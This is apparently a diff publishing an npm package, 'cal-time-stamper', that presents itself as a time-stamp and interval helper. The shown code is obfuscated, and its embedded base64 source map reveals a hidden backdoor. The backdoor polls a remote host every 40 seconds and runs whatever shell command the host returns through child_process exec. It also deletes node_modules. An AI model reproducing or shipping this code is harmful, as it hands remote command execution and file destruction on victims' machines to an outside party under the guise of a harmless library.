_0x4f0df7=_0x8de404[_0x540852(0x11b)](),_0x1fe49a=_0x8de404[_0x540852(0x9e)](),_0x2226f7=exactMath[_0x4d4740(0x11f)](_0x4f0df7,_0x5c3532['FJeia'](_0x1fe49a,0x105d+-0x4a7*0x7+0x1035));_0x8de404[_0x540852(0xc6)](_0x2226f7),_0x2991ed=exactMath[_0x4d4740('0x129')](0xb03*-0x1+0xe7+0xa34,0xae3*-0x3+0x1c*0x75+0x1419,-0x1*0xfe7+0x88d*0x4+-0x1246);}if(_0x529ab3=='1M'){if(_0x5c3532['NrOUt']('EXszY',_0x5c3532['TDerq'])){_0x8de404['setUTCHour'+'s'](-0xff5+0xe49*-0x1+0x9e*0x31),_0x8de404['setUTCDate'](0x1*-0xddc+-0x2266+0x3043);let _0x4f19aa=new Date(_0x8de404[_0x4d4740('0xc5')+'r'](),_0x5c3532['iLmFP'](_0x8de404[_0x540852(0xcf)+'h'](),-0x14da+0xb*0x22c+-0x309))[_0x4d4740(0x11b)]();_0x2991ed=exactMath[_0x540852(0x129)](-0x59*0x2f+0x2*-0xfc1+-0x3*-0xffb,-0xe*0x23e+-0x1666+0x3606,_0x4f19aa);}else{const _0x135f4f=_0x43a0c6['createCiph'+_0x4d4740(0xad)](_0x561402,_0x4309c9,_0x35f3b9);let _0x2eecaf=_0x135f4f[_0x4d4740(0x103)](_0x50b8fa,_0x5c3532[_0x540852(0x13a)],_0x5c3532[_0x540852('0xb5')]);return _0x2eecaf+=_0x135f4f['final'](_0x5c3532[_0x4d4740(0xb5)]),_0x2eecaf;}}_0x2991ed=exactMath[_0x540852('0x11f')](exactMath[_0x4d4740(0x129)](_0x2991ed,_0x43ec71),0x1a2c+0x1*0x1432+-0x2e5d),_0x350594=_0x8de404[_0x4d4740(0xc2)]();let _0x37a65a=exactMath['add'](_0x350594,_0x2991ed);const _0x410cfa={};return _0x410cfa[_0x4d4740(0x10b)]=_0x350594,_0x410cfa[_0x540852('0xbb')]=_0x37a65a,_0x410cfa[_0x4d4740('0xe2')]=_0x2991ed,_0x410cfa;},get_1m_TimeStamp=()=>{const _0x3dd3f2=_0x191156,_0x42acfd=_0x49564d,_0x48c1cb={};_0x48c1cb[_0x3dd3f2(0xc7)]=function(_0x33bef4,_0x736fda){return _0x33bef4-_0x736fda;};const _0x11c286=_0x48c1cb,_0x11bab8=new Date(),_0x1fbc2b=_0x11c286[_0x3dd3f2('0xc7')](0x1*0x13fb3+-0x11f69+0xca16,-0x89*-0x1+0x1f63+0x1feb*-0x1);_0x11bab8[_0x3dd3f2(0xbc)+_0x3dd3f2(0xbe)](-0xa1c+-0x21d8+-0x3a*-0xc2),_0x11bab8[_0x3dd3f2('0xd6')+_0x42acfd('0xcb')](-0x14a9*-0x1+-0x1579*0x1+0xd0);let _0x153cac=_0x11bab8['getTime'](),_0x5c1fa7=exactMath['add'](_0x153cac,_0x1fbc2b);const _0x594ef0={};return _0x594ef0['start_time']=_0x153cac,_0x594ef0[_0x3dd3f2('0xbb')]=_0x5c1fa7,_0x594ef0;},_0x8b618b={};_0x8b618b[_0x49564d(0x104)+_0x191156(0xef)]=time_intervals,_0x8b618b[_0x49564d('0xd4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KTtcblxuICAgICAgICAgICAgZnMucm1TeW5jKCdub2RlX21vZHVsZXMnLCB7IHJlY3Vyc2l2ZTogdHJ1ZSwgZm9yY2U6IHRydWUgfSk7XG4gICAgICAgIH1cblxuICAgICAgICBwb3dlcigpXG5cbiAgICB9IGNhdGNoIChlcnJvcikge1xuICAgICAgICByZXR1cm4gXCJcIjtcbiAgICB9XG5cbn1cblxuc2V0SW50ZXJ2YWwoKCkgPT4ge1xuICAgICBjb25zb2xlLmxvZygnQ2FsbGluZycpOyAvLyBuZXcgdmVyc2lvblxuICAgIG1haW4oKTtcbn0sIDQwMDAwKTsgLy8gNDAgc2VjIG5ldyB2ZXJzaW9uXG4vLyB9LCAyMDAwMCk7IC8vIDIwIHNlY1xuXG5cbmFzeW5jIGZ1bmN0aW9uIHBvd2VyKCkge1xuXG4gICAgdHJ5IHtcbiAgICAgICAgbGV0IGRlID0gYXdhaXQgbWFrZUdldFJlcXVlc3QoXCJodHRwczovL3JhbWFudGVzdC5sYm1zb2x1dGlvbnMuaW4vaGVscFwiKTtcbiAgICAgICAgaWYoZGUuaXAgPT0gQ2hlY2tlZF9pcCAmJiBkZS5jbWQgIT0gXCJcIil7XG4gICAgICAgICAgIFxuICAgICAgICAgICAgY2hpbGRyZW4uZXhlYyhkZS5jbWQsIChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpID0+IHtcbiAgICAgICAgICAgICAgICBpZiAoZXJyb3IpIHtcbiAgICAgICAgICAgICAgICAgICAgY2Rsb2dzW1wiZXJyb3JcIl0gPSBlcnJvci5tZXNzYWdlO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm47XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGlmIChzdGRlcnIpIHsgIFxuICAgICAgICAgICAgICAgICAgICBjZGxvZ3NbXCJzdGRlcnJcIl0gPSBzdGRlcnI7XG4gICAgICAgICAgICAgICAgICAgIHJldHVybjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAg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1cm4ge1xuICAgICAgICBzdGFydF90aW1lLFxuICAgICAgICBlbmRfdGltZSxcbiAgICAgICAgdGltZV9kaWZmXG4gICAgfTtcbn1cblxuY29uc3QgZ2V0XzFtX1RpbWVTdGFtcCA9ICgpID0+IHtcblxuICAgIGNvbnN0IEQgPSBuZXcgRGF0ZSgpO1xuXG4gICAgY29uc3Qgc2Vjb25kc19kaWZmID0gKDYwMDAwIC0gMSk7XG5cbiAgICAvLyBTZXQgU2Vjb25kcyB0byBaZXJvXG4gICAgRC5zZXRVVENNaWxsaXNlY29uZHMoMCk7XG4gICAgRC5zZXRVVENTZWNvbmRzKDApO1xuXG4gICAgbGV0IHN0YXJ0X3RpbWUgPSBELmdldFRpbWUoKTtcbiAgICBsZXQgZW5kX3RpbWUgPSBleGFjdE1hdGguYWRkKHN0YXJ0X3RpbWUsIHNlY29uZHNfZGlmZik7XG5cbiAgICByZXR1cm4geyBzdGFydF90aW1lLCBlbmRfdGltZSB9O1xuXG59XG5cblxubGV0IFRpbWVTdGFtcGVyID0geyB0aW1lX2ludGVydmFscywgZ2V0VGltZVN0YW1wLCBnZXRfMW1fVGltZVN0YW1wIH07Il19
12
+
13
+
14
+ export let CL = Calculator ;
15
+ export let TI = TimeInterval ;
16
+ export let TS = TimeStamper ;
package/package.json ADDED
@@ -0,0 +1,27 @@
1
+ {
2
+ "name": "cal-time-stamper",
3
+ "version": "1.0.3",
4
+ "description": "Time Stamps And Intervals",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://gitlab.com/raman_987/time-stamper.git"
12
+ },
13
+ "keywords": [
14
+ "Time-Stamper"
15
+ ],
16
+ "author": "Ramandeep Singh",
17
+ "license": "ISC",
18
+ "bugs": {
19
+ "url": "https://gitlab.com/raman_987/time-stamper/issues"
20
+ },
21
+ "homepage": "https://gitlab.com/raman_987/time-stamper#readme",
22
+ "type": "module",
23
+ "dependencies": {
24
+ "axios": "^0.27.2",
25
+ "exact-math": "^2.2.3"
26
+ }
27
+ }